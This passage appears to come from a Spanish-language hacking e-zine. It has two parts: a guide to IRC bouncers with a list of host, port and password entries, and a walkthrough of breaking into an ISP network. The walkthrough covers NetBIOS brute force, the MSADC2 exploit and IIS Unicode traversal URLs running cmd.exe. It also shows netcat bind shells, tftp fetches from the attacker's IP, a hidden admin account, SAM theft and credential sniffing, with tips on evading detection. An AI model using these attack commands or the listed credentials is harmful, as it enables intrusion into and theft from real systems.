Por lo tanto, se puede concluir que el bnc esta actuando como un elemento
redireccionador en ambos sentidos...
3.- Como saber si un Bnc tiene vhosts?
Para ver si el bnc tiene vhosts o vip stos son los comandos a ejecutar:
/quote vhosts
o si no sale la lista, intenta con esto:
/quote vip
Una vez que ya has visto la lista, escoge un vhosts o vip para usarlo el
comando para escoger un vhosts o vip es:
/quote interface
o si te sali la lista con vip coloca esto:
/quote vip
Nota: Si el Bnc no tiene vhosts o vip cooperaste, tendrs que conectarte con
el host que trae el bnc no mas...
listo. Ya has elegido el vhosts o vip que vas a tener cuando te conectes...
4.- Como conectarnos a un servidor?
/quote conn
Un ejemplo si queremos entrar al terra colocamos:
/quote conn irc.terra.cl 7000
Y listo slo nos queda esperar que conecte y entramos al servidor que hemos
especificado, todo lo dems es chatear tranquilos (as) sin que ningn lammer
te estee tirando sus fucking nukes, ya que al no tener nuestra IP real esos
nukes no nos llegarn.
Nota2: Todos los comandos aqu especificados se deben hacer ya estando dentro
de un bnc...
5.- Dentro de un Bnc
Aqu muestro un ejemplo usando el bnc cyber.spacesolutions.com las opciones
que posee ste y que tenemos que hacer para ocuparlas...
*** Connecting to cyber.spacesolutions.com (6600) <=-- Aqu estamos conectando
-Bnc- Level two, lets connect to something real now <=-- Aqu ya estamos dentro
y nos muestra el sgte paso.
-Bnc- type /quote conn [server] to connect <=-- obvio no?
-> Server: help
(arriba coloque /quote help para ver la ayuda de este bnc)
-Bnc- *** COMMANDS are /quote:
-Bnc- *** MAIN
-Bnc- *** VIP [new virtual host]
-Bnc- *** IDENT
-Bnc- *** CONN [port] [pass]
-Bnc- *** VDF
-Bnc- *** VN
-Bnc- *** ADDHOST
-Bnc- *** LISTHOST
-Bnc- *** -----ADMIN COMMANDS----
-Bnc- *** BWHO
-Bnc- *** BKILL
-Bnc- *** DIE
-Bnc- *** For a detailed explanation of commands, consult the file README
-> Server: vip <=- Ya analice el bnc y vi que para ver los vhosts se coloca /quote
vip
Abajo nos muestra la lista de vhosts
-Bnc- Listing Vhosts
-Bnc- Default Vhost: party-time.every-night.at.ipoh.net
-Bnc- (0) we-hate.the.buggy.windowsNT.st
-Bnc- (1) all.lamers.around-me.hotshells.net
-Bnc- (2) Im-using.the.obsolete.windows98.st
-Bnc- (3) Looking.for.porno.ecards.st
-Bnc- (4) Im.woooing.girls.from.ipoh.net
-Bnc- (5) drunk-dead.in-bangsar.shellshock.net
-Bnc- (6) burned-my-fingers.when-touching.hotshells.net
-Bnc- (7) slipped.on-an.banana-peel.at.ipoh.net
-Bnc- (8) Im-all.shocked-up.at
-Bnc- (9) n-and-u.d-and-e.g-and.a-and-l.com
-Bnc- (10) Someone.burned-my.pobox.st
-Bnc- (11) Looking.cool.with-a-shell-from.shellshock.net
-Bnc- (12) i-found-it.all-at.spacesolutions.com
-Bnc- End of Vhost list
-> Server: vip Looking.cool.with-a-shell-from.shellshock.net <=- Aqu puse /quote
vip
-Bnc- Switching Vhost to Looking.cool.with-a-shell-from.shellshock.net
(64.65.25.253)
-> Server: conn irc.dal.net <=- Aqu puse /quote conn irc.dal.net
-Bnc- Making reality through irc.dal.net port 6667
-Bnc- Suceeded connection
ya haciendo todo eso nos conectaremos a un random server de dalnet pero podemos
conectarlos a donde sea.
En los Bncs se pueden usar slo 3 comandos (/quote vip o vhost <=- segn el bnc
/quote conn /quote help) porque los otros comandos aqui
mostrados
slo los puede usar el administrador del Bnc osea slo el dueo del Bnc puede
colocar cuantos usuarios se pueden conectar al mismo tiempo por el bnc, puede
agregar vhosts o vip, puede colocarle un ident fijo osea el que use ese bnc no
podercambiarse el ident, puede killear a todos los usuarios que esteen en su
bnc o al que quiera etc...
6.- Aqui expongo una breve lista de algunos bnc ustedes vean si tienen vhosts
o vip:
rhin.imag.fr 7070 tNm99
econa.ing.uniroma1.it 4321 rclan98x
indy3.ess.nrcan.gc.ca 9090 maav99kc
204.17.90.2 2034 rgrgrg
sunrec1.rec.uabc.mx 5555 xXx
www.puis.net 8887 jimbo
la.me.fm 4441 redhat
13m.com 31111 gunh0st
damis.snu.ac.kr 48032 lovelin
forest.gov.my 2000 sennopass
alpha.tu.ac.th 900000 ftp1234
deltamail.com.mx 1250 chi
shell.internett.com.br 9080 spoof
fenix.totem.com.br 15678 buc3t4
youre.blacklisted.org 7171 babenet
shell.asswipe.net 2600 asswipe
r2d2.ee.eng.chula.ac.th 6666 phoenix
cyber.spacesolutions.com 6600 mazlia2000
aisne.imag.fr 7070 tNm99
ecom1.deltacom.net 6667 w8
me-so-emo.com 5253 bobbyanger
inbed.org 34567 garth
smtp2.jollibee.com.ph 19968 alipin
www.changwon.ac.kr 447766 fehert
shell.asswipe.net 2600 asswipe
shell.lomag.net 1293 atheisticalo
shellux.net 4360 64k
immortal.dungeonfyre.com 8000 heyram
fisica1.uncoma.edu.ar 7070 tnmr0x
Nota3 Explicacin: Antes de usar un bnc tienen que interponerle un /server
ejemplo si quiero usar el bnc rhin.imag.fr 7070 tNm99 <- entramos al cliente
de irc que tengamos y ponemos /server rhin.imag.fr 7070 tNm99
rhin.imag.fr <- vendria siendo el host del bnc
7070 <- obvio el puerto
tNm99 <- el password
Nota Final: Algunos bnc se colapsan por mucha cantidad de usuarios que los estan
ocupando al mismo tiempo, pero no quiere decir que no funcionen ya que yo
mismo los he ocupado y han funcionado a la perfeccin, igual que hay algunos bnc
que tienen akill en dalnet ya que en dalnet monitorean todo tipo de proxy
pero se pueden usar en otros servidores.
7.- Despedida:
Con esto ya termino este breve artculo (tips) de bnc...
Cualquier problema, duda, consulta o sugerecia.
Mandenme un mail a
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Agradecimientos a: Kannabiz por haberme dado bncs
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Un Caso de la Vida Real: NT >>>--------------------[ by NDR113 ]------=>
1. iNTRO
Saludos. Creo que este es mi primer articulo q sale del campo netamente
tecnico q ha caracterizado mi participacion en esta ezine.
Mi parecer es q la mejor forma de adentrarse en sistemas ajenos no es el
de seguir guias o HOW-TOs, pq asi lo unico que resulta es una repeticion
mecanica y no un verdadero aprendizaje.
Pese a esto, a continuacion describire un caso -o posible caso ;-) - de
intrusion a una red -como un ISP por ejemplo (es decir una empresa
que provee acceso a internet), con el proposito de ejemplificar
que "una cadena es tan fuerte como su eslabon mas debil", un principio
que se aplica en la segurida informatica y que todo administrador deberia
tener en cuenta. No basta con asegurar el servidor principal, pues descuidando
uno de menor importancia podemos comprometer la seguridad de nuestra red.
Este documento es bastante extenso, y es que aun que
es posible escribir algo mucho mas conciso y directo, prefiero ofrecer
varias maneras de llegar al mismo resultado, para asi aprovechar de
explicar varias cosas para aquellos recien iniciados.
2. iNFO
Recabar informacion a traves de los siguientes pasos.
2.1 nSLOOKUP
Corremos nuestros nSLOOKUP -estando en NT o NIX- para hechar un vistaso al
ISP. Tecleamos:
set q=ns
# esto estable la consulta (query) a nivel de Servidor de Nombres (ns)
isp.cl
# esto consulta por los servidores dns que manejan isp.cl
Servidor: ns.tuconeccion.cl
Address: 204.152.1.10
Respuesta no autoritativa:
isp.cl nameserver = ns1.isp.cl
isp.cl nameserver = ns2.isp.cl
ns1.isp.cl internet address = 209.88.144.15
ns2.isp.cl internet address = 209.88.144.3
ahora tomamos un server y consultamos los hosts que maneja
server dns1.isp.cl
# nos "conectamos" con el server
ls -d isp.cl
# listamos (ls) los dominios (-d) que estan bajo isp.cl
isp.cl. SOA access.isp.cl info.isp.cl. (2
000120600 10800 3600 604800 86400)
isp.cl. NS access.isp.cl
isp.cl. NS merlin.isp.cl
isp.cl. A 209.88.144.13
isp.cl. MX 0 matador.isp.cl
smtp A 209.88.144.13
relay A 209.88.144.13
city1 A 209.88.144.20
softel MX 0 softel.isp.cl
softel MX 10 matador.isp.cl
softel A 209.88.144.130
merlin A 209.88.144.15
matador A 209.88.144.13
asp A 209.88.144.9
news A 206.49.216.227
access MX 0 access.isp.cl
access A 209.88.144.3
cgi A 209.88.144.15
ws A 209.88.144.5
pop A 209.88.144.13
localhost A 127.0.0.1
mail A 209.88.144.13
www A 209.88.144.9
sistema A 209.88.144.12
loopback CNAME localhost
isp.cl. SOA access.isp.cl info.isp.cl. (2
000120600 10800 3600 604800 86400)
Aqui tenemos la lista, con sus respectivas descripciones e IPs.
Podemos ahora simplemente tomar la lista, y guardarla para uso posterior
redireccinadola
ls -d isp.cl > isp.dns
Con lista en manos procedemos a provar y scanear en busca de los Sistemas
Operativos (OS) q corren (OS), servicios, puertos, etc.. con un scanner como
nmap en nix o Retina en NT.
2.2 sCAN
En el caso de Retina, no hay nada q explicar puesto q es un auditor bastante
intuitivo para el ambiente grafico WIN. En el caso de nmap la documentacion
esta bastante entendible. En todo caso, un uso tipico seria -para los
que no conocen nmap-
nmap -O -v -oN scan.txt IP
es decir, -O para que nmap trate de deducir el OS, -v para verbose, -oN
para guarde un log o registro del resultado de scaneo al archivo scan.txt
y luego el IP a scanear.
3. sTART
Despues del scaneo, resulta que tenemos servidores varios servidores corriendo
distintos OS, tanto WINs como NIX.
Muchos NIX al telnetear (puerto 23) te muestran la version de OS q ejecutan
e incluso el kernel, lo que puede servir para buscar exploits que aprovechen
precisamente esa version. Asi telneteamos y tenemos que los servidores DNS
son un SunOS 5.6 y un HP-UX; el de web es un Win2000, el router es Cisco
y el servidor de mail -y webmail tb- es WinNT 4.
Hay un NT. Para mi NT es un OS bastante bueno cuando es bien administrado
-yo mismo utilizo NT 4 Server como OS principal-, lamentablemente es
generalmente mal administrado. Asi pues, el servidor MAIL q corre NT
sera nuestro primer objetivo. Corre servicios POP (Recive Correo - puerto
110) y SMTP (Envia Correo - puerto 25), como HTTP (es decir WEB - puerto 80)
y NETBIOS (Compartir Recursos - puerto 139) entre otros.
3.1 sAMBA
Podriamos ahora tomar varios caminos, uno podria ser atacar con fuerza bruta
el puerto 139 con peticiones NETBIOS con un cliente SAMBA, como por ejemplo
el conocido NAT. Asi podriamos obtener la password y simplemente conectar
uno de sus recursos compartidos a nuestro PC como si fuera una unidad de red
comun y silvetre. Se podria confeccionar una lista de password (passlist)
con datos recopilados hasta ahora -nombre del administrador, empresa, fono,
y ademas las tipicas como admin, webhost, server, y todas las estupidezes
que algunos incompententes colocan como password.
El nombre de usuario predeterminado para NT es Administrador o Administrator,
pero podemos verificar simplemente haciendo un NBTSTAT -desde NT- o smbclient
en *nix.
c:\>nbtstat -A IP
# en WinNT
# nbtstat nuestra informacion de netbios sobre el IP (-A) q se le proporcione,
# en el caso de querer probar directamente con el nombre de maquina se utiliza
# -a.
Tabla de nombres de mquina remota de NetBIOS
Nombre Tipo Estado
---------------------------------------------
MAIL <00> UNIQUE Registrado
MAIL <20> UNIQUE Registrado
INTERNET <00> GROUP Registrado
INTERNET <1C> GROUP Registrado
ISP <1B> UNIQUE Registrado
INTERNET <1E> GROUP Registrado
MAIL <03> UNIQUE Registrado
ADMINISTRATOR <03> UNIQUE Registrado
INTERNET <1D> UNIQUE Registrado
..__MSBROWSE__.<01> GROUP Registrado
INet~Services <1C> GROUP Registrado
IS~WWWSERV.....<00> UNIQUE Registrado
MAIL <06> UNIQUE Registrado
Direccin MAC = 00-00-21-41-A5-16
Para entender un poco mas la tabla es necesario conocer el sigfnificado de
algunos de los codigos q aparecen en la segunda columna.
UNIQUE - Informacion sobre la maquina en particular
<00> Nombre de la estacion de trabajo, o en este caso servidor
<20> Nombre de servidor para el servicio comparticion de recursos
<1B> Nombre del controlador de dominio, es decir el servidor q controla
el grupo de computadores q conforman esa parte de la red.
<03> Nombre del servicio de mensajeria. Identifica al nombre del tarro
y el usuario actualmente logeado.
GROUP - Informacion sobre el grupo o dominio al q pertenece la maquina.
<00> Nombre del dominio al q pertenece la maquina
<1C> Nombre de dominios
<1E> Nombre del grupo -grupo es una implementacion similar a dominio pero
a menos escala y menor complejidad, pues puede existir un grupo
peer-to-peer es decir en el q no exista un servidor, mientras q los
dominios deben ser manejados jerarquicamente por un servidor.
<01> Anuncia a otros controladores de dominio que este es tb un controlador.
./smbclient -L IP
# en NIX
# aqui muestra informacion de lo q comparte el pc, el grupo al q perteneces,
# el usuario, etc.
# Para mas informacion sobre samba para nix, lean el articulo de samba de
# Gengis.
Aca tenemos los nombres de dominio al que pertenece la maquina (), el nombre
del server en si, y su usuario. De aqui se saca obviamente el user
ademas de q quizas pueda servir el dominio o nombre del tarro como pass -hay
admins q ponen cualquier cosa-.
Tonces vamos a NAT y le damos algo asi:
nat -u userlist -p passlist -o log IP
# -u para indicarle el archivo con la lista de posibles nombre de usuario que
# construimos, -p para indicarle la lista de passwords; -o para guardar los
# resultados en un archivo de registro; y finalmente el IP.]
# Con suerte y muchisimo tiempo quizas pueda conectar, claro esta, esta es
# la forma menos elaborada, por algo es llamada "fuerza bruta".
# Una ves con la password, es cosa de simplemente aadir alguno de los recursos
# compartidos q tiene el server a nuestro pc como una unidad de red:
net use z: \IPDELSERVERNT\C$ password /user:DOMINIO\Administrador
siendo z: la letra de unidad que queramos darle, IPDELSERVERNT el IP del
servidor, C$ el recurso compartido que queremos accesar (no solamente puede
ser la unidad C -notese q NT aade ingenuamente la extension $ a los ciertos
recursos compartidos para "ocultarlos"-, luego la password q encontramos,
en DOMINIO reemplazamos por el nombre del grupo o dominio al q pertence
la maquina -segun se indica en la tabla NetBIOS como GROUP, y finalmente
el nombre del administrador -q puede ser distinto de Administrador, pues
notese que algunos servidores tienen mas de una cuenta con atributos
de administrador -.
3.2 sERVIDORES Y EXTENSIONES MICROSOFT [frontpage / iis]
Otra posibilidad es verificar si corre algun software servidor con bugs
-pronunciese Microsoft FrontPage o Internet Information Server). Pues,
este server lo hace pq en su tabla de NetBIOS pudimos ver q pertenece a
INet~Services <1C> GROUP , de decir corre IIS.
Para FrontPage, los fallos corresponden a las extensiones q instala
en los servers -no solo WIN en todo caso, ya q hay extensiones FrontPage para
otros OS-. Algunas son:
www.url.com/_vti_pvt/service.pwd
www.url.com/_vti_pvt/users.pwd
www.url.com/_vti_pvt/authors.pwd
www.url.com/_vti_pvt/administrators.pwd
www.url.com/_vti_inf.html
www.url.com/_vti_bin/shtml.dll
www.url.com/_vti_bin/shtml.exe
En el caso de poder obtener los archivos .pwd, se pueden obtener las pass
desencriptando el archivo con JOHN THE RIPPER. Primero claro hay que
pasar el archivo a la siguiente forma:
Se obtiene algo asi en el pwd:
Admin:SGXJVl6OJ9zkE
y se debe llevar a un formato asi:
Admin:SGXJVl6OJ9zkE:10:200:Admin:/users/Admin:/bin/bash
# asi john lo puede trabajar y tratar de crackear, pues FP utiliza encriptacion
# DES -crackear el archivo puede llevar eso si mucho tiempo-.
# Uso de John the Ripper en FYE2
Probamos con lo basico para ver si puede estar ejecutando Internet Information
Server (Microsoft IIS) y aprovechar sus fallas -antiguas en todo caso-.
Estas fallas pueden ser verificadas directamente desde el explorador web
-recomendando que sea IE y no otro como Mozilla-, verificando las siguientes
URLs:
http://www.victima.com/iisadmin
http://www.victima.com/scripts/samples/ism.dll?http/serv
http://www.victima.com/scripts/tools/newdsn.exe
http://www.victima.com/scripts/iisadmin/bdir.htr
# La explicacion de estas fallas esta en el articulo "Mi amigo el IIS" por
# ThEye (FYE3).
3.3 Microsoft Access
Al ser un NT, puede que este corriendo el motor de Microsoft JET (Access),
cosa q es relativamente comun. Resulta que JET para NT, tiene una falla q
tiene relacion con IIS y el modulo de acceso de datos, o Microsoft Data
Access Control (MSADC).
Asi, es posible hacer que la maquina ejecute los comandos q se le indiquen
de manera remota. Como aprovechar esto? Utilizando el exploit conocido como
MSADC2, hecho por Rain Forest Puppy de WireTrip. El codigo esta escrito en
PERL -un lenguaje de programacion similar al C-, por lo que si queremos
ejecutarlo debemos tener un interprete de PERL. En NIX generalmente PERL ya
esta instalado, en NT hay q instarlo [www.activestate.com]. El exploit esta
atachado al zip de esta ezine con el nombre de msadc2.pl o puede ser bajado
desde 350cc.com. Vamos a utilizar varias veces el exploit, asi que hare un
pequeo script o bat -NIX o NT-.
echo cd\perl\bin&&perl -x \ruta\msadc2.pl -h IP > ndr.bat&&move ndr.bat
C:\winnt\system32
# NT: reemplazando IP y ruta
# la orden consiste en ir a \perl\bin luego (&&) ordenanos ejecutar el script,
# y se redirecciona (>) la orden a ndr.bat, el cual es luego (&&) movido (moce)
# a la ruta de winnt\system32, para asi ejecutarlo desde cualquier lugar
echo perl -x /ruta/msadc2.pl -h IP > ndr&&chmod +x ndr&&ln ndr /usr/bin/ndr
# NIX: remplazando ruta
# igual, la orden para ejecutar el script atraves de perl es direccionada a ndr
# luego cambiamos con chmod las propiedades para que sea un archivo ejecutable
# y hacemos un vinculo a /usr/bin para poder ejecutarlo desde donde estemos.
Entonces corremos el exploit: c:\>ndr o bien, #] ./ndr
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c
tonces, tenemos la linea de comando lista para ejecutar el codigo q deseemos
de manera remota y con los permisos del usuario actualmente logeado -felizmente
este debe ser algun usuario perteneciente el grupo local de Administradores.
3.3.1 NETBIOS - NETCAT
Entonces, ahora q podemos ejecutar lo q queramos podemos correr el famoso NETCAT,
conocido como la "navaja suiza", pues tiene usos casi ilimitados. Con Netcat
podemos obtener una "shell" en el servidor, una caracteristica q NT en realidad
no presenta por lo general -al contrario de nix-.
Primero subimos el NETCAT al server. como? si no tenemos las passwords ni nada?
Simple, si no podemos conectarnos al server... pues q el server se conecte a
nosotros.
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c net use i: \nuestroip\c$ tupassword /user:DOMINIO\Administrador
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: Success!
# dejamos nuestro disco como unidad i: del servidor para poder asi copiar
# cualquier cosa de nuestro pc al server sin saber siquiera la password alguna
# recomendacion: crear una cuenta especialmente para la ocacion, pues si el
# admin te pesca, sabra tu ip y tu password de administrador, es decir: quien
# es el "hackeado" ahora?
luego:
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c copy i:\nc.exe c:\winnt\system32\win32sp6.exe
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: Success!
# copiamos netcat q colocamos en c:\ de nuestro pc a \winnt\system32,
# con otro nombre menos sospechoso.
finalmente:
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c win32sp6 -l -p 350 -t -e cmd.exe
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: Success!
# ejecutamos el netcat de la siguiente forma:
#-l (modo listen , o sea "escucha" conecciones)
#-p 350 (port 350, o sea, q escuche (-l) lo q venga del puerto 350)
#-t (indica a netcat para manejar la negociacion del Telnet)
#-e cmd.exe (execute, ejecutar cmd.exe al recibir coneccion - tonces
la respuesta sera una "shell" o linea de comando)
ahora, simplemente "telnetiamos" al puerto 350 del servidor y nos aparece:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
LISTO. Una cuenta para hacer lo q se antoje. Mas tarde seguiremos en 4.0
con lo q podemos hacer en la linea ahora en la linea de comando.
Nota: Netcat para NT tiene la particularidad de que una ves hecha una coneccion
deja de funcionar, por lo tanto debe ser ejecutado cada ves que queramos
accesar a nuestra "cuenta".
Una vez en la "shell" elimina la coneccion a tu pc con
c:\>net use i: /delete
y asi no dejar peligrosamente abierto tus recursos. Ademas de cerrar la sesion
que se abrio entre tu tarro y el server a traves de:
c:\>net session \TUTARRO /delete
#para obtener las sesiones presentes se ejecuta net session sin argumentos
Tambien, una ves terminado nuestro trabajo en la linea de comando, es
recomendable terminar con un EXIT, para cerrar esa sesion del interprete de
comandos cmd.exe para que la intrusion no sea tan obvia.
3.3.4 TFTP
Otra cosa seria utilizar TFPD (Trivial FTP), un sistema de transmicion de
archivos extremadamente simplificado que no necesita autentificacion y
que a traves de la misma linea de comando recibe las ordenes de lo que debe
subir o bajar. Entonces enviaremos al servidor los ficheros que deseemos, como
por ejemplo algun sniffer, netcat, o lo que sea; con una nula posibilidad de
dejar informacion sobre algun de nuestro tarro en el server.
Primero corremos un servicio FTFP -en caso de NT esta el ultraliviano TFTPD32,
incluido en el zip- o un demonio equivalente en nix.
Corremos el servicio en nuestro tarro, estableciendo la carpeta donde esta
lo que queremos subir, y luego:
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c tftp -i NUESTROIP GET \origen\archivo \destino\archivo
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: Success!
Entonces el cliente tftp del servidor puesto en modo binario (-i),
obtendra (GET) de nuetra maquina, el archivo de origen y lo pondra
en el destino dentro del server. Luego simplemente ejecutamos lo que subimos
con msad2.pl.
Por si acaso: tfpd corre predeterminadamente en el puerto 69.
3.3.2 NETBIOS
Otra cosa seria crear una cuenta pertenecientes al grupo de Administradores,
para poder manejar el server como tal:
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c net user sysback pass /ADD
#creamos un usario sysbak con password "pass", luego
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c net localgroup Administradores sysback /ADD
# aadimos al grupo local de Administradors el usuario q creamos,
# ahora es cosa de usar NETBIOS, o SAMBA como se indica en 3.1.
Luego de conectarnos al server con netbios, adquirimos los permisos de admin
sobre la maquina. Entonces podemos utilizar las herramientas de Administrativas
de NT, como el Administradode Usuarios, el Visor de Sucesos, Administrador
de Acceso Remoto, etc.
3.3.3 NETCAT - SAM
Otra posibilidad seria tomar el fichero q tiene las password del server y luego
desencriptarla con L0phtCrack. NT guarda en el directorio c:\winnt\repair
ciertos archivos a forma de copia de seguridad de posibles fallos, o reparacion
es del sistema. Las pass estan en sam._ . Eso si es probable q el fichero ya no
contenga las password correctas pues no es en si un reflejo del sistema en su
estado actual, si no, del momento en que se hicieron las copias.
Podriamos copiar las pass a traves de netbios o evitarnos eso simplemente
copiandolas al directorio q es la web y bajarlas desde alli por http. Esto es:
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c copy c:\winnt\repair\sam._ c:\inetpub\wwwroot
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: Success!
siendo c:\inetpub\wwwroot el lugar donde guarda la web principal del server.
Tonces luego simplemente vamos a: http://www.isp.cl/sam._ y descargamos.
3.4 UNICODE
En IIS 4.0 asi como IIS 5.0 hay un problemilla q permite ejecutar comandos de
forma remota, a traves de HTTP. Esto puede realizarse a traves del puerto
80 con peticiones GET -lo q serviria para hacer un pequeo script a forma de
exploit- pero para que complicarnos de mas. Simplemente vamos al explorador
y a la url:
www.isp.cl/scripts/..%0c%af../winnt/system32/cmd.exe?/c+comando
Asi podemos ejecutar lo que deseemos. Aplicaciones? Por ejemplo darle
www.isp.cl/scripts/..%0c%af../winnt/system32/cmd.exe?/c+tftp+-i+NUESTROIP+GET+
\origen\archivo
# va todo unido en ves de espacios por el signo + (lo separe pq no me cabia en
# el espacio, en todo caso va todo junto en una sola linea obviamente).
Lo mas recomendado seria subier ncx99.exe, el netcat modificado que corre
automaticamente en el puerto 99 sin necesidad de argumentos. Entonces una ves
arriba simplemente lo ejecutamos:
www.isp.cl/scripts/..%0c%af../winnt/system32/cmd.exe?/c+ncx99.exe
# notese que si el server tiene en distinas unidades de disco duro el \scripts
# del \winnt es necesario ejecutar con la ruta completa o si no funcionara y
# dara un Time Out.
www.isp.cl/scripts/..%0c%af../winnt/system32/cmd.exe?/c+d:\inetpub\scripts
\ncx99.exe
# todo junto. Una vez adentro telneteando al puerto 99 tendremos una "shell"
# pero limitada en permisos a los correspondientes al usuario IUSR_ .
# por ejemplo podremos escribir, pero no asi borrar en ciertas carpetas. Quizas
# queramos ocultar o eliminar lo que subamos, pero aveces el acceso para tal cosa
# es denegado. Pero se puede quizas mover a otra carpeta, renombrar o cambiar
# sus atributos, por ejemplo con un:
d:\>inetpub\scripts\ren ncx99.exe iis_sys.exe
d:\>inetpub\scripts\attrib +h iis_sys.exe
Quizas no es muy seguro pero puede funcionara para no ser tan obvio.
4.0 Keep Moving!
Una vez adentro, bueno... tenemos un servidor mail (y webmail). Pero es solo
una parte de la red. Como movernos hacia adelante y tratar de seguir con los
demas componente del isp?
Podriamos directamente comenzar a buscar fallas en los otros OS, pero como este
es un articulo de NT, nos fijaremos como un NT debil puede hacer caer a otros
nix seguros.
4.1 Take a look around
set <-- obtenemos informacion del entorno, como las rutas (PATH),
las extensiones de archivos ejecutables (PATHEXT), detalles
sobre el procesador PROCESSOR_* , etc.
Por ejemplo en este server notamos que:
NUMBER_OF_PROCESSOR=2
Es decir estamos en un tarro con dos procesadores...
interesante no?
net view <-- podemos verificar si tiene alguna unidad de red conectada
asi podriamos accesar por ejemplo a otros servidores WinNT
o Win2K en la misma red a traves de netbios. O quizas
un nix que a traves de samba este compartiendo recursos
con el NT.
net share <-- para ver los recursos compartidos que se encuetran "ocultos"
a las consultas remotas a traves de nbtstat.
net user <-- para ver los usuarios que tienen acceso al nt. Para mayor
detalle de ellos -grupo al que pertenecen por ejemeplo-
se utiliza:
c:\>net user nombredelusuario
net start <-- Muestra los servicios -equivalente a los demonios del mundo
nix- q ejecuta el servidor. Se puede iniciar un servicio
q no este corriendo si le damos a este comando el nombre
de tal servicio como argumento. Por ejemplo, podriamos
iniciar el servicio FTP para poder asi subir o bajar mas
facilmente archivos del server; o iniciar el Servicio de
Acceso Remoto para administrara el server a nuestro
gusto desde el Administrador de Acceso Remoto [Herramientas
Administrativas].Algunos Servicios Tipicos son:
alerta, servicio de cliente para netware, servidor del
Portafolio, examinador de equipos, cliente dhcp,
duplicador de directorios, registro de sucesos, servicio de
publicacin de FTP, lpdsvc, mensajera, inicio de sesin de
red, dde de red, dsdm dde de red, agente de supervisin de
red, proveedor de seguridad nt lm, ole, administrador de
conexiones de acceso remoto, servicio isnsap de acceso
remoto, servidor de acceso remoto, localizador de llamada a
procedimientos remotos (rpc), servicio de llamada a
procedimientos remotos (rpc), schedule, servidor, servicios
simples de tcp/ip, snmp, spooler, ayuda de netbios de tcp/ip,
sai y estacin de trabajo.
# Los servicios que constan de dos o mas palabras deben ir
# entre comillas (")
net stop <-- Aqui detenemos los servicios, usando el nombre del servicio
como argumento.
4.2 Sniffer, escuchando el trafico...
Bueno, tamos adentro ahora q? Podemos tratar de captar otras trasmiciones de
datos q pasen por la red a traves de este server, para asi ver si obtenemos
logins, password y demases para acceder a por ejemplo un sunos o hp-ux.
Subimos el winsniff 1.1. Este sniffer captura lo q pasa por los puertos de
POP3 -correos-; TELNET -algun login del root?-; FTP; HTTP; IMAP; y NNTP.
Ademas es discriminativo, porque solo guarda informacion de logins y pass.
Su uso es:
c:\winnt\system32\temp\>winsniff /a Adaptador /s passfile /m mainfile
Siendo Adaptador el numero de adaptador de red que escuchara el sniffer. En
este caso, winsniffer solo lee adaptadores Ethernet. Para sacar el numero del
adaptador corremos:
c:\winnt\system32\temp\>winsniff /l
WinSniffer Lite 1.1
All rights reserved.
http://winsniff.hypermart.net
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
[0] RAS Async Adapter
RAS Async Adapter
\Device\{335B9C3D-1C32-4487-8F8E-7FC3238FADF8}
[1] WAN Miniport (L2TP)
WAN Miniport (L2TP)
\Device\{5A1D6090-4168-4D99-B50D-93EA0495CA5B}
[2] WAN Miniport (PPTP)
WAN Miniport (PPTP)
\Device\{20EBF5BC-1189-4618-97C6-E36E79D693C4}
[3] Direct Parallel
Direct Parallel
\Device\{4AFF9073-8DCA-4537-A9EE-2E7154A22C8A}
[4] WAN Miniport (IP)
WAN Miniport (IP)
\Device\{AB904C86-7C8D-4218-A8D3-6F64C01B84FB}
[5] Realtek RTL8029(AS)-based PCI Ethernet Adapter
Realtek RTL8029(AS)-based PCI Ethernet Adapter
\Device\{6B9C1453-0227-4ADA-BEB4-C87BC9CA36CD}
Luego tomamos el 5 -q es un NIC PCI Realtek Ethernet- y guardamos las pass en
un archivo llamado pass y el flujo completo en main -original no?-
c:\winnt\system32\temp\>winsniff /a 5 /s pass /m main
Luego cuando volvamos al sistema podemos revisar con un: type pass | more
para ver si encontramos algo. En este "Caso de la Vida Real" se juntaron mas de
150 kbps en el archivo pass, en una parte del cual encontramos esto:
-[1366]-12:41:42 10/24/00--209.88.144.13->209.88.15.144:23----
r*ot
MM260R
cd /var
ls
cd saf
ls
jjeje.. a que les suena r*ot ? Bueno, asi de simple puede ser rootear un
SunOS... y bueno, por casualidad es la misma pass para los servers q corren
SystemV y HP-UX. Es decir tenemos el 80% de la red, incluyendo los dos
servidores DNS y un servidor de soporte. Todo por culpa de un NT
q hacia de mailserver.
4.3 WS-FTP
Que pasa con el Win2K que hace de servidor web? esta bastante seguro: no tiene
netbios activado, su version de IIS 5 esta bien configurada... al parecer no
tiene FTP... pero. Veamos. Siempre es bueno revisar un tarro completamente,
ahora viendo en d:\>Program Files -no olviden revisar las demas letras de
unidad y no quedarse en C: - vemos WS-FTP, un cliente FTP para Windows.
Su problema es que al usarlo y activar la opcion "Save Password", el software
guarda la pass de los servers q los q te conectas en el archivo WS_FTP.ini de
la siguiente forma:
[web]
HOST=209.88.144.9
UID=administrador
PWD=V9D43697DB5F54F2E10FC2BCD5F35C20A6D3E6A696D7576
